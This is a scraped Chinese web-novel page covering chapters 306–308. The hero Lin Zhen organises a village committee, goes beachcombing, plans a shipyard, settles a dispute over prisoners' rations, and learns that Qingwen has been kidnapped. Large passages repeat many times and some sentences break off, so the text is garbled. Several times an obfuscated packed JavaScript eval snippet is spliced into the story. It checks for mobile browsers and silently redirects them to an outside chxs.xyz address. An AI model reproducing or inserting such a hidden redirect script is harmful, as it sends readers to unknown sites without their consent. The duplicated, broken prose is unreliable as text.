“这事办得不错。等下你回去后亲自点将,挑选你信任的人负责去村里监工,确保房屋质量,不可偷工减料。另外,明天我会给你一张图纸,百姓的旧房子全部推倒,然后按照图纸上的规划统一重建。” “是,世子。” 林臻是打算把武清县光明村重建成为全国模范村,就像后世的那种,家家户户都挨在一起,居住地集中,这样方便取水,也方便生活,村民间街坊邻里也有个照应。每天下地、上工,也能搭伴结对走,不会落单。 侯春又问道:“世子,程家那座宅子怎么办?那么好的宅子,推倒太可惜了。” “推倒干什么啊?成立个村委会,让村民集体票选出来个村长。” “啊?” ,观察观察其他世家和地主反应。 如果没问题,没人敢还手,那就等林震仙的军队回来后继续搞,直到把这些地主都清除出去。 以后整个大乾,就只有林臻这一个地主。 回到县城时已经是傍晚了。 府衙内,林臻正在吃饭,侯春在一边做着汇报。 “世子,属下已将财物典当了大半。这程家果然家底丰厚,光那些珍玩就换了三千多两银子,足够给百姓们盖一批新房了。我已联系了县城里的工匠,他们听闻是给百姓建房,都愿出工,价钱也只要原来的一半!” 林臻微微点头,满意道:“如此甚好,猴子,你这业务能力是越来越强了啊。” 侯春害羞地摸了摸后脑勺:“嘿嘿嘿,都是世子教育的好。” “这事办得不错。等下你回去后亲自点将,挑选你信任的人负责去村里监工,确保房屋质量,不可偷工减料。另外,明天我会给你一张图纸,百姓的旧房子全部推倒,然后按照图纸上的规划统一重建。” “是,世子。” 林臻是打算把武清县光明村重建成为全国模范村,就像后世的那种,家家户户都挨在一起,居住地集中,这样方便取水,也方便生活,村民间街坊邻里也有个照应。每天下地、上工,也能搭伴结对走,不会落单。 侯春又问道:“世子,程家那座宅子怎么办?那么好的宅子,推倒太可惜了。” “推倒干什么啊?成立个村委会,让村民集体票选出来个村长。” “啊?” ,观察观察其他世家和地主反应。 如果没问题,没人敢还手,那就等林震仙的军队回来后继续搞,直到把这些地主都清除出去。 以后整个大乾,就只有林臻这一个地主。 回到县城时已经是傍晚了。 府衙内,林臻正在吃饭,侯春在一边做着汇报。 “世子,属下已将财物典当了大半。这程家果然家底丰厚,光那些珍玩就换了三千多两银子,足够给百姓们盖一批新房了。我已联系了县城里的工匠,他们听闻是给百姓建房,都愿出工,价钱也只要原来的一半!” 林臻微微点头,满意道:“如此甚好,猴子,你这业务能力是越来越强了啊。” 侯春害羞地摸了摸后脑勺:“嘿嘿嘿,都是世子教育的好。” “这事办得不错。等下你回去后亲自点将,挑选你信任的人负责去村里监工,确保房屋质量,不可偷工减料。另外,明天我会给你一张图纸,百姓的旧房子全部推倒,然后按照图纸上的规划统一重建。” “是,世子。” 林臻是打算把武清县光明村重建成为全国模范村,就像后世的那种,家家户户都挨在一起,居住地集中,这样方便取水,也方便生活,村民间街坊邻里也有个照应。每天下地、上工,也能搭伴结对走,不会落单。 侯春又问道:“世子,程家那座宅子怎么办?那么好的宅子,推倒太可惜了。” “推倒干什么啊?成立个村委会,让村民集体票选出来个村长。” “啊?” ,观察观察其他世家和地主反应。 如果没问题,没人敢还手,那就等林震仙的军队回来后继续搞,直到把这些地主都清除出去。 以后整个大乾,就只有林臻这一个地主。 回到县城时已经是傍晚了。 府衙内,林臻正在吃饭,侯春在一边做着汇报。 “世子,属下已将财物典当了大半。这程家果然家底丰厚,光那些珍玩就换了三千多两银子,足够给百姓们盖一批新房了。我已联系了县城里的工匠,他们听闻是给百姓建房,都愿出工,价钱也只要原来的一半!” 林臻微微点头,满意道:“如此甚好,猴子,你这业务能力是越来越强了啊。” 侯春害羞地摸了摸后脑勺:“嘿嘿嘿,都是世子教育的好。” “这事办得不错。等下你回去后亲自点将,挑选你信任的人负责去村里监工,确保房屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林臻是打算把武清县光明村重建成为全国模范村,就像后世的那种,家家户户都挨在一起,居住地集中,这样方便取水,也方便生活,村民间街坊邻里也有个照应。每天下地、上工,也能搭伴结对走,不会落单。 侯春又问道:“世子,程家那座宅子怎么办?那么好的宅子,推倒太可惜了。” “推倒干什么啊?成立个村委会,让村民集体票选出来个村长。” “啊?” ,观察观察其他世家和地主反应。 如果没问题,没人敢还手,那就等林震仙的军队回来后继续搞,直到把这些地主都清除出去。 以后整个大乾,就只有林臻这一个地主。 回到县城时已经是傍晚了。 府衙内,林臻正在吃饭,侯春在一边做着汇报。 “世子,属下已将财物典当了大半。这程家果然家底丰厚,光那些珍玩就换了三千多两银子,足够给百姓们盖一批新房了。我已联系了县城里的工匠,他们听闻是给百姓建房,都愿出工,价钱也只要原来的一半!” 林臻微微点头,满意道:“如此甚好,猴子,你这业务能力是越来越强了啊。” 侯春害羞地摸了摸后脑勺:“嘿嘿嘿,都是世子教育的好。” “这事办得不错。等下你回去后亲自点将,挑选你信任的人负责去村里监工,确保房屋质量,不可偷工减料。另外,明天我会给你一张图纸,百姓的旧房子全部推倒,然后按照图纸上的规划统一重建。” “是,世子。” 林臻是打算把武清县光明村重建成为全国模范村,就像后世的那种,家家户户都挨在一起,居住地集中,这样方便取水,也方便生活,村民间街坊邻里也有个照应。每天下地、上工,也能搭伴结对走,不会落单。 侯春又问道:“世子,程家那座宅子怎么办?那么好的宅子,推倒太可惜了。” “推倒干什么啊?成立个村委会,让村民集体票选出来个村长。” “啊?” ,观察观察其他世家和地主反应。 如果没问题,没人敢还手,那就等林震仙的军队回来后继续搞,直到把这些地主都清除出去。 以后整个大乾,就只有林臻这一个地主。 回到县城时已经是傍晚了。 府衙内,林臻正在吃饭,侯春在一边做着汇报。 “世子,属下已将财物典当了大半。这程家果然家底丰厚,光那些珍玩就换了三千多两银子,足够给百姓们盖一批新房了。我已联系了县城里的工匠,他们听闻是给百姓建房,都愿出工,价钱也只要原来的一半!” 林臻微微点头,满意道:“如此甚好,猴子,你这业务能力是越来越强了啊。” 侯春害羞地摸了摸后脑勺:“嘿嘿嘿,都是世子教育的好。” “这事办得不错。等下你回去后亲自点将,挑选你信任的人负责去村里监工,确保房屋质量,不可偷工减料。另外,明天我会给你一张图纸,百姓的旧房子全部推倒,然后按照图纸上的规划统一重建。” “是,世子。” 林臻是打算把武清县光明村重建成为全国模范村,就像后世的那种,家家户户都挨在一起,居住地集中,这样方便取水,也方便生活,村民间街坊邻里也有个照应。每天下地、上工,也能搭伴结对走,不会落单。 侯春又问道:“世子,程家那座宅子怎么办?那么好的宅子,推倒太可惜了。” “推倒干什么啊?成立个村委会,让村民集体票选出来个村长。” “啊?” 第306章 赶海 县衙内侯春一脸疑惑地看着林臻。 “世子这村委会到底是个啥玩意儿?您该不会要在村里建个公堂吧?” 林臻放下筷子抹抹嘴 说到这林臻有些难受。 因为其实很多看似非常好的政策往往实施起来就会有很大不同。 就比方说村长这个职业。 没错这是个职业或者说是民间组织负责人而不是国家干部。 我们希望老百姓自己当家做主所以让百姓自己去票选村长可谁知道后来就变了味道。 村长手里有很大的权力所以很多地方的村长票选就是不公平的很多村长在票选前会给村民送钱送礼或者暴力威胁屡见不鲜。 林臻绝不能让这样的事情发现在大乾。 不过还好他手里有绝对的权柄任何敢鱼肉百姓的人都会为此付出极大的代价。 乱世当用重典。 只要保持着这种雷霆手腕那些想苛待百姓的人总会有所忌惮。 侯春若有所思地点点头又问:“那这村委会的人该怎么选才好?” “就先说这村长吧。村长可是村子里的一把手得是村里德高望重、公道正派又有见识、能办事的人。村长由票选选出全村年满十六岁、心智健全的村民都有投票权咱们提前几日将有意参选村长之人的信息、过往作为张贴公示让大伙都知道他们的情况做到心中有数。投票当日在村里的开阔场地设投票箱由县衙派去的专人监督村民们将写有候选人名字的纸条匿名投入箱中最后开箱唱票得票最多者当选村长。这个过程必须公开透明杜绝任何徇私舞弊的行为!” 林臻略带怒声:“回头告诉孙平包括他在内谁敢在村长票选这件事情上伸手我就敢要谁的脑袋!” 侯春抱拳应道:“世子放心末将一定传达。” “除了村长村委会还要有各种干事科员。像负责水利农事的、专管村里矛盾纠纷调解的、以及组织村里孩童启蒙学习的、 这些干事就不用票选了由县里组织人手做调查挑选这几个方面的能手。像管种地的干事首先他自己就得是种地的一 把好手,熟悉四时农事,知晓如何应对旱涝灾害,当选后,日常负责组织大伙春耕秋收、兴修水利、推广新的农耕技术,保障村子的粮食丰收。 像调解干事就得为人公正、能说会道,村民间有了矛盾、纠纷,不管是邻里吵架、土地边界争议,都由他们出面,依据村规民约,动之以情、晓之以理,把问题解决。” 林臻边说,侯春居然掏出个小本本在那记。 这倒让他有些好奇。 “我说你小子什么时候会写字了?” 侯春一愣:“啊?属下本来就识字啊,不识字是二狗、黄鼠他们。” 嗐,记混了。 说起二狗,听说他前几天被来福抽了一大嘴巴,也不知道死没死。 事情都说完以后,林臻便让侯春回去了,等明天再传达给孙平。 林臻自己则是偷个懒,休息几天,琢磨琢磨和浣碧共赴巫山的事情。 次日清晨,阳光洒在武清县的大地上,泛起一片金黄。 林臻依旧坚持着早起晨练的习惯。 这是真的晨练,不是和女人瞎闹,早上在院子里扎马步,做俯卧撑,仰卧起来和深蹲。 做完以后在浣碧的伺候下洗漱吃饭,都忙活完,他便带着浣碧以及一众护卫,朝着海边行去。 一路上,微风拂面,带着些许海的气息,让人心情舒畅。 林臻现在学聪明了,只要出门就都是一大帮子人,呼呼啦啦像恶霸似的招摇过市,渐近渤海湾,那壮阔的景色豁然映入眼帘。 湛蓝的天空与蔚蓝的海水在天际相会,仿若一块巨大的蓝宝石,纯净的没有一丝杂质。 海浪轻轻拍打着金色的沙滩,发出悦耳的“哗哗”声。 远处,海鸟翱翔,时而俯冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在她的印象中,夫君好像并不会做饭呢。 林臻笑着回应:“那当然,你夫君我的厨艺好着呢!” 说着两人来到后厨。 林臻系上围裙,熟练地操起刀具,剖鱼、剪虾、洗刷螃蟹,动作行云流水。 浣碧顾不上惊讶,在一旁帮忙递调料、添柴火,二人配合默契,烟火气中满是温馨。 不多时,一道道色香味俱佳的海鲜菜肴便摆满了一桌。 清蒸螃蟹、红烧鱼、白切虾,还有最后一道,葱爆海参! 林臻在看到海参的时候都被震惊到了。 因为他没从见过这么大的海参!几乎和婴儿手臂差不多大。 在京城里,也有卖海参的酒楼,但是很少有货,大家对这类海鲜还不是很认可。而且鲜活的海参很难从海边运到内地,所以价格也高。 但是现在嘛,林臻馋的直流口水。 他让浣碧也坐下,两人准备享受一顿海天盛筵。 谁知林臻刚把海参放进嘴里,孙平就来了。 这个土包子见到满桌海鲜,馋得直瞪眼:“世子,您这是从哪儿弄来的珍馐啊?” 林臻虽然有些不情愿,但还是招呼着他坐下。 “坐下快来尝尝,这是我和浣碧今日赶海的收获,新鲜着呢。” 孙平入座,夹起一块鱼肉放入口中,咀嚼几下,赞不绝口:“妙啊,世子这手艺,可比咱县衙的厨子强多了。” “那是自然。” 众人欢声笑语,边吃边聊。 酒过三巡,孙平放下碗筷,神色郑重地对林臻说:“世子,您是说这些东西都是从海边弄回来的?” “是啊,所以我才说你们要努力开发大海!海里面的东西可比陆地上多得多,只要努力些,以后武清县就再也没有饥饿之忧了,甚至还能很快富裕起来。我那天说的话依旧算数,海鲜可以全都运到京城卖给我。” “下官受教了,明日下官就发告示,鼓励百姓去海边,另外再找些水性好的人乘船出海试试!” 说起乘船,林臻眼睛一亮。 “还有个事儿,我打算在海边建一个造船厂,专门生产能出海的巨舟,划进工业区范围内。如此一来,不仅百姓能捕捞到更多的海货,发展渔业,还能与外埠通商,让武 清县的名声传得更远,大伙的日子也能越过越红火。” 孙平闻言重重点头:“世子所言极是,不过,这造船一事,工程浩大。需得诸多人力、物力、财力,还得有精通造船的工匠。” “这些我都考虑过了。人力嘛,就从那些南楚俘虏里面招,实在不行还有那些邪教余孽嘛。物力的话,咱们就地取材。我白天看过,海边的木材、铁矿石什么很充足;财力就更不担心了,前期投资由我准备,后续等渔业、工业区发展起来,资金也不愁。至于工匠,可派人去周边郡县寻访,重金聘请。只要咱们齐心协力,定能将这造船厂建起来。” 孙平面露敬佩之色:“世子思虑周全,下官佩服。” 接下来的日子里,武清县上下一片忙碌。 侯春带着人手驻扎在光明村,监督村长选举,确保公平公正。村民们热情高涨,纷纷投票,最终村长为村里年纪最大的葛老头当选。 海边,林臻亲自带人勘测地形,为造船厂选址。 他请教了诸多行家,翻阅古籍,综合考量风向、水流、水深等因素,最终选定了一处港湾。 此地背风、水深适宜,且靠近木材产地,是建造船厂的绝佳之地。 与此同时,招募工匠、筹备物资的告示也贴满了武清县及周边郡县。 告示一出,引得不少能工巧匠前来应聘,其中不乏有多年造船经验的老师傅。 林臻亲自面试,挑选出一批技艺精湛、经验丰富的工匠,组成了造船厂的核心团队。又命侯春在南楚俘虏与邪教余孽中挑选年纪小的,愿意吃苦干活的人来充当造船厂劳工。 明天就是工业区正式成立的日子了,林臻等人从海边回来,途中看到不少人在忙碌修路。 现在这路与之前大不相同,都是用水泥夯实的,从海边工业区笔直通往县城,非常壮观。 这都是改革路上的美丽风景啊。 林臻踱步走了过去,刚一靠近,立刻有士兵跑过来敬礼。 “参见世子。” 林臻看着眼前热火朝天的修路场景,问道:“路修得怎么样了?有没有什么特殊情况?” 士兵挺直腰板,大声回道:“回世子,目前就是水泥不够用,导致进度缓慢,其他的都还好。” “嗯,水泥不用担心,工业区已经开始加大生产了。最近有没有人闹事啊?” “没有,但是这群俘虏喜欢磨洋工,能偷懒就偷懒,为此末将惩罚了好几个。” “你们也不要太苛待他们,该休息就休 息,修路也不是一天就能修完的。” “是!” 正说着,赶上午餐饭点,有士兵抬着大桶的粥和馒头走了过来。 林臻走过去一看,顿时心中冰凉一片。 如果就吃这些东西,这帮南楚的壮丁还不得造反啊? 吃不饱肚子怎么干活? 还没等他开口询问,就见一个南楚士兵急冲冲地跑过来,“扑通”一声跪在林臻面前。 “世子爷,您可要为我们做主啊!他们不给我们吃饱饭,每天就这点粥和馒头,我们哪有力气干活啊!” “是啊世子,我们俘虏也是人啊!” “至少也得给我们吃点盐吧?队伍里已经有好几个兄弟缺盐昏死过去了。” 林臻一听,顿时大怒! 他猛地转身,脸色阴沉得可怕,目光如炬地看向刚刚的士兵,喝道:“你们好大的胆子,竟敢克扣士兵口粮,是何居心?” 那士兵,连带着几个负责后勤的人都吓得脸色惨白,“扑通”一声纷纷跪地求饶。 “世子饶命!我们也不想啊,但是县里就给这点粮食,不仅他们吃不饱,我们也吃不饱啊!” “世子,这不是我们存心克扣的,是真没有那么多东西可以吃!” 林臻转回头看向南楚士兵:“他们说的是真的吗?” “这”那南楚士兵低下头去:“是真的,他们确实和我们吃的一样。” 看来是粮食不够啊。 没办法,北方本就多小麦,少粮食,土地耕种上千年,不论种什么都产量极低。 如果想让这群俘虏吃好,就只能自己掏腰包,最少也要坚持一年的时间。 “罢了,伙食的问题我会尽快解决,你去吩咐火头军,把所有肉食都拿出来,今天先让兄弟们吃顿饱饭。” “是!” 南楚士兵们听闻,大喜过望,纷纷再次给林臻下跪磕头,口中高呼:“多谢世子爷!世子爷英明啊!我保证以后一定好好干活!” 林臻微微抬手,示意他们起来:“都起来吧,好好干活,三年后还你们自由身。” “多谢世子爷!” 息,修路也不是一天就能修完的。” “是!” 正说着,赶上午餐饭点,有士兵抬着大桶的粥和馒头走了过来。 林臻走过去一看,顿时心中冰凉一片。 如果就吃这些东西,这帮南楚的壮丁还不得造反啊? 吃不饱肚子怎么干活? 还没等他开口询问,就见一个南楚士兵急冲冲地跑过来,“扑通”一声跪在林臻面前。 “世子爷,您可要为我们做主啊!他们不给我们吃饱饭,每天就这点粥和馒头,我们哪有力气干活啊!” “是啊世子,我们俘虏也是人啊!” “至少也得给我们吃点盐吧?队伍里已经有好几个兄弟缺盐昏死过去了。” 林臻一听,顿时大怒! 他猛地转身,脸色阴沉得可怕,目光如炬地看向刚刚的士兵,喝道:“你们好大的胆子,竟敢克扣士兵口粮,是何居心?” 那士兵,连带着几个负责后勤的人都吓得脸色惨白,“扑通”一声纷纷跪地求饶。 “世子饶命!我们也不想啊,但是县里就给这点粮食,不仅他们吃不饱,我们也吃不饱啊!” “世子,这不是我们存心克扣的,是真没有那么多东西可以吃!” 林臻转回头看向南楚士兵:“他们说的是真的吗?” “这”那南楚士兵低下头去:“是真的,他们确实和我们吃的一样。” 看来是粮食不够啊。 没办法,北方本就多小麦,少粮食,土地耕种上千年,不论种什么都产量极低。 如果想让这群俘虏吃好,就只能自己掏腰包,最少也要坚持一年的时间。 “罢了,伙食的问题我会尽快解决,你去吩咐火头军,把所有肉食都拿出来,今天先让兄弟们吃顿饱饭。” “是!” 南楚士兵们听闻,大喜过望,纷纷再次给林臻下跪磕头,口中高呼:“多谢世子爷!世子爷英明啊!我保证以后一定好好干活!” 林臻微微抬手,示意他们起来:“都起来吧,好好干活,三年后还你们自由身。” “多谢世子爷!” 息,修路也不是一天就能修完的。” “是!” 正说着,赶上午餐饭点,有士兵抬着大桶的粥和馒头走了过来。 林臻走过去一看,顿时心中冰凉一片。 如果就吃这些东西,这帮南楚的壮丁还不得造反啊? 吃不饱肚子怎么干活? 还没等他开口询问,就见一个南楚士兵急冲冲地跑过来,“扑通”一声跪在林臻面前。 “世子爷,您可要为我们做主啊!他们不给我们吃饱饭,每天就这点粥和馒头,我们哪有力气干活啊!” “是啊世子,我们俘虏也是人啊!” “至少也得给我们吃点盐吧?队伍里已经有好几个兄弟缺盐昏死过去了。” 林臻一听,顿时大怒! 他猛地转身,脸色阴沉得可怕,目光如炬地看向刚刚的士兵,喝道:“你们好大的胆子,竟敢克扣士兵口粮,是何居心?” 那士兵,连带着几个负责后勤的人都吓得脸色惨白,“扑通”一声纷纷跪地求饶。 “世子饶命!我们也不想啊,但是县里就给这点粮食,不仅他们吃不饱,我们也吃不饱啊!” “世子,这不是我们存心克扣的,是真没有那么多东西可以吃!” 林臻转回头看向南楚士兵:“他们说的是真的吗?” “这”那南楚士兵低下头去:“是真的,他们确实和我们吃的一样。” 看来是粮食不够啊。 没办法,北方本就多小麦,少粮食,土地耕种上千年,不论种什么都产量极低。 如果想让这群俘虏吃好,就只能自己掏腰包,最少也要坚持一年的时间。 “罢了,伙食的问题我会尽快解决,你去吩咐火头军,把所有肉食都拿出来,今天先让兄弟们吃顿饱饭。” “是!” 南楚士兵们听闻,大喜过望,纷纷再次给林臻下跪磕头,口中高呼:“多谢世子爷!世子爷英明啊!我保证以后一定好好干活!” 林臻微微抬手,示意他们起来:“都起来吧,好好干活,三年后还你们自由身。” “多谢世子爷!” 息,修路也不是一天就能修完的。” “是!” 正说着,赶上午餐饭点,有士兵抬着大桶的粥和馒头走了过来。 林臻走过去一看,顿时心中冰凉一片。 如果就吃这些东西,这帮南楚的壮丁还不得造反啊? 吃不饱肚子怎么干活? 还没等他开口询问,就见一个南楚士兵急冲冲地跑过来,“扑通”一声跪在林臻面前。 “世子爷,您可要为我们做主啊!他们不给我们吃饱饭,每天就这点粥和馒头,我们哪有力气干活啊!” “是啊世子,我们俘虏也是人啊!” “至少也得给我们吃点盐吧?队伍里已经有好几个兄弟缺盐昏死过去了。” 林臻一听,顿时大怒! 他猛地转身,脸色阴沉得可怕,目光如炬地看向刚刚的士兵,喝道:“你们好大的胆子,竟敢克扣士兵口粮,是何居心?” 那士兵,连带着几个负责后勤的人都吓得脸色惨白,“扑通”一声纷纷跪地求饶。 “世子饶命!我们也不想啊,但是县里就给这点粮食,不仅他们吃不饱,我们也吃不饱啊!” “世子,这不是我们存心克扣的,是真没有那么多东西可以吃!” 林臻转回头看向南楚士兵:“他们说的是真的吗?” “这”那南楚士兵低下头去:“是真的,他们确实和我们吃的一样。” 看来是粮食不够啊。 没办法,北方本就多小麦,少粮食,土地耕种上千年,不论种什么都产量极低。 如果想让这群俘虏吃好,就只能自己掏腰包,最少也要坚持一年的时间。 “罢了,伙食的问题我会尽快解决,你去吩咐火头军,把所有肉食都拿出来,今天先让兄弟们吃顿饱饭。” “是!” 南楚士兵们听闻,大喜过望,纷纷再次给林臻下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南楚士兵们听闻,大喜过望,纷纷再次给林臻下跪磕头,口中高呼:“多谢世子爷!世子爷英明啊!我保证以后一定好好干活!” 林臻微微抬手,示意他们起来:“都起来吧,好好干活,三年后还你们自由身。” “多谢世子爷!” 息,修路也不是一天就能修完的。” “是!” 正说着,赶上午餐饭点,有士兵抬着大桶的粥和馒头走了过来。 林臻走过去一看,顿时心中冰凉一片。 如果就吃这些东西,这帮南楚的壮丁还不得造反啊? 吃不饱肚子怎么干活? 还没等他开口询问,就见一个南楚士兵急冲冲地跑过来,“扑通”一声跪在林臻面前。 “世子爷,您可要为我们做主啊!他们不给我们吃饱饭,每天就这点粥和馒头,我们哪有力气干活啊!” “是啊世子,我们俘虏也是人啊!” “至少也得给我们吃点盐吧?队伍里已经有好几个兄弟缺盐昏死过去了。” 林臻一听,顿时大怒! 他猛地转身,脸色阴沉得可怕,目光如炬地看向刚刚的士兵,喝道:“你们好大的胆子,竟敢克扣士兵口粮,是何居心?” 那士兵,连带着几个负责后勤的人都吓得脸色惨白,“扑通”一声纷纷跪地求饶。 “世子饶命!我们也不想啊,但是县里就给这点粮食,不仅他们吃不饱,我们也吃不饱啊!” “世子,这不是我们存心克扣的,是真没有那么多东西可以吃!” 林臻转回头看向南楚士兵:“他们说的是真的吗?” “这”那南楚士兵低下头去:“是真的,他们确实和我们吃的一样。” 看来是粮食不够啊。 没办法,北方本就多小麦,少粮食,土地耕种上千年,不论种什么都产量极低。 如果想让这群俘虏吃好,就只能自己掏腰包,最少也要坚持一年的时间。 “罢了,伙食的问题我会尽快解决,你去吩咐火头军,把所有肉食都拿出来,今天先让兄弟们吃顿饱饭。” “是!” 南楚士兵们听闻,大喜过望,纷纷再次给林臻下跪磕头,口中高呼:“多谢世子爷!世子爷英明啊!我保证以后一定好好干活!” 林臻微微抬手,示意他们起来:“都起来吧,好好干活,三年后还你们自由身。” “多谢世子爷!” 息,修路也不是一天就能修完的。” “是!” 正说着,赶上午餐饭点,有士兵抬着大桶的粥和馒头走了过来。 林臻走过去一看,顿时心中冰凉一片。 如果就吃这些东西,这帮南楚的壮丁还不得造反啊? 吃不饱肚子怎么干活? 还没等他开口询问,就见一个南楚士兵急冲冲地跑过来,“扑通”一声跪在林臻面前。 “世子爷,您可要为我们做主啊!他们不给我们吃饱饭,每天就这点粥和馒头,我们哪有力气干活啊!” “是啊世子,我们俘虏也是人啊!” “至少也得给我们吃点盐吧?队伍里已经有好几个兄弟缺盐昏死过去了。” 林臻一听,顿时大怒! 他猛地转身,脸色阴沉得可怕,目光如炬地看向刚刚的士兵,喝道:“你们好大的胆子,竟敢克扣士兵口粮,是何居心?” 那士兵,连带着几个负责后勤的人都吓得脸色惨白,“扑通”一声纷纷跪地求饶。 “世子饶命!我们也不想啊,但是县里就给这点粮食,不仅他们吃不饱,我们也吃不饱啊!” “世子,这不是我们存心克扣的,是真没有那么多东西可以吃!” 林臻转回头看向南楚士兵:“他们说的是真的吗?” “这”那南楚士兵低下头去:“是真的,他们确实和我们吃的一样。” 看来是粮食不够啊。 没办法,北方本就多小麦,少粮食,土地耕种上千年,不论种什么都产量极低。 如果想让这群俘虏吃好,就只能自己掏腰包,最少也要坚持一年的时间。 “罢了,伙食的问题我会尽快解决,你去吩咐火头军,把所有肉食都拿出来,今天先让兄弟们吃顿饱饭。” “是!” 南楚士兵们听闻,大喜过望,纷纷再次给林臻下跪磕头,口中高呼:“多谢世子爷!世子爷英明啊!我保证以后一定好好干活!” 林臻微微抬手,示意他们起来:“都起来吧,好好干活,三年后还你们自由身。” “多谢世子爷!” 第308章 晴雯被绑 处理完修路一事,林臻心情稍显沉重。 说白了还是大乾的粮食不够吃。 愁人呐,真希望老爷子能快点把南楚打下来。 回到县衙。 刚踏入大门,就觉一股异样的气息扑面而来,抬眼望去,只见一个身着黑衣劲装的女子静静伫立在庭院之中。 那女子身姿婀娜,却透着股冷冽之气,一头乌发利落束起,背后背着一把造型古朴的巨弓。 海棠。 林臻脚步一顿,眼中闪过几丝讶异。 如果说当初与海滩的相遇是可以安排,那现在就有些出乎意料了,而且这段时间他与天道的关系几乎跌到冰点,见面想不拼命都不可能。 “海棠?”林臻率先打破沉默。 海棠转过身,面容冷峻,眼神却透着几分纠结与复杂。 “林臻,别来无恙。” “是啊,别来无恙。”林臻邀请她进屋落座,两人一前一后,边走林臻边问道:“你怎么会来找我?” “我是来取你性命的。” 言罢侯春仓朗朗就把刀抽了出来,满脸警惕地看着他。 适才他还以为此人是林臻的朋友,或者是没见过面的情人,哪知竟然是来暗杀林臻的。 与此同时,身后护卫也都如临大敌。 林臻摆摆手:“把刀收回去,她是射雕手,如果要取我性命根本不需要现身。” “世子.” 看林臻坚决,侯春勉强把刀收起,但眼睛还是一眨不眨地盯着海棠。 进屋后,两人分别落座。 回想起当日的点点滴滴,林臻还真有股恍若隔世的感觉。 “既然是来杀我的,为何不动手呢?” “我”海棠顿了顿,似是难以启齿,“我下不去手。” “为什么?” 海棠深吸一口气,仿佛下了某种决心。 “本来你我恩怨已清。组织让我来杀你,我也没有什么心理负担。直到我看到你为百姓做的这一切,开荒地、建工厂、惩恶霸,事事都透着为百姓谋福祉的真心,我……我实在是下不去手。结果这一耽搁,宗主便起了疑心,于是亲自出手抓了晴雯姑娘。” 林臻一听“晴雯”二字,脸色瞬间大变。 “什么?他竟敢动晴雯!” 对于林臻来说,晴雯是最特别的存在。 更别说她现在怀着林臻的骨血。 一旦她有了什么事情,别说林臻,就是林震仙都不会放过天道。 不知道为何看到林臻的表情后海棠竟然有些淡淡的醋意无奈摇头:“我知道晴雯姑娘在你心中的分量。可天道现在与你是不死不休你若去了必死无疑;若不去晴雯必死无疑。” 林臻来回踱步内心挣扎不已。 晴雯绝对不能出事否则林臻肯定会用非常残忍的方法弄死那些个仙子。 但是在林臻心中一百个仙子也不及晴雯一个。 这买卖不划算。 罢了去就去。 老婆被人抓走了咱连个屁都不敢放那还叫爷们吗? “好我去见她。” “林臻你可想好了。宗主是绝对轻易不会放过你的。” “我知道。” 海棠看着林臻那坚决的模样也不知是该开心还是该难过。 开心是因为她真都没看错人林臻确实有情有义与那些纨绔不同。 难过那就是此去必定凶险万分。 林臻转头看向侯春神色凝重:“侯春去取些软骨粉和泻药来。还有你让胖子带着天道的那几个仙子远远地跟在后面关键时刻可用她们来和天道谈判。” 侯春大喊:“世子您真要去吗?属下坚决反对这太危险了!” “不去不行晴雯在他们手里。” “那属下也不同意!再说晴雯夫人是不是真在他们手里还不一定呢您不能只听这女人的一面之词啊!” “现在已经没有时间去证明了必须即刻上路!”林臻态度十分坚决“你立刻回京找胖子让他带着虎贲营和神机营秘密追赶我们等我把晴雯救出去就把天道的人斩尽杀绝!一个活口也不留!” 侯春都快愁死了。 “世子啊如果你救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050353|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出不来晴雯夫人怎么办!?” “那也把天道的人杀绝!他们蔑视律法滥用私行早就该死。废话少说去执行命令。” “我唉!”侯春叹了口气迅速跑去取来软骨粉和泻药。 浣碧闻讯从后院赶来眼泛泪花。 但是却没有劝而是给林臻拿来大氅甩手披在他身上。 “夫君.放心地去您若有个三长两短妾身也绝不独活。” 这傻丫头。 也不怪自己疼她。 “别担心能杀我林臻的人 说罢林臻转身看向海棠:“走吧带我去见你们宗主。” 海棠带着林臻骑马疾驰了整整三天一路风餐露宿终于 抵达了辽东郡。 放眼望去,不远处,靠近海边的位置有一座奇特的岛屿闯入眼帘。 岛屿不高,靠一条笔直的大路与陆地相连。 这里林臻曾经来过。 正是锦城笔架山。 这里很神奇,白天有路,晚上没路,简直是躲避凡尘的世外桃源。 正值白日,阳光倾洒而下,大海波光粼粼,似无数细碎的金子在海面跳跃闪烁。湛蓝的天空与蔚蓝的海水在天际处完美交融,分不清哪里是海,哪里是天。 林臻勒住缰绳,望着眼前如梦如幻的美景,心中不禁感叹大自然的神奇。 同意他也没想到,这个神秘莫测的天道组织竟然就在自己眼皮子底下。 海棠在他身边,说道:“我们到了,下马吧。” “为何下马?这不是还有一段距离吗?” “这条路叫天路,不允许骑马。” “呵,破地方,烂规矩还挺多。”林臻不情不愿地下来,牵着马与海棠一起走在由碎石子、海蛎等物质组成的天路上。 很快走到山脚下,便见有天道的护卫站在大门口,伸手阻拦。 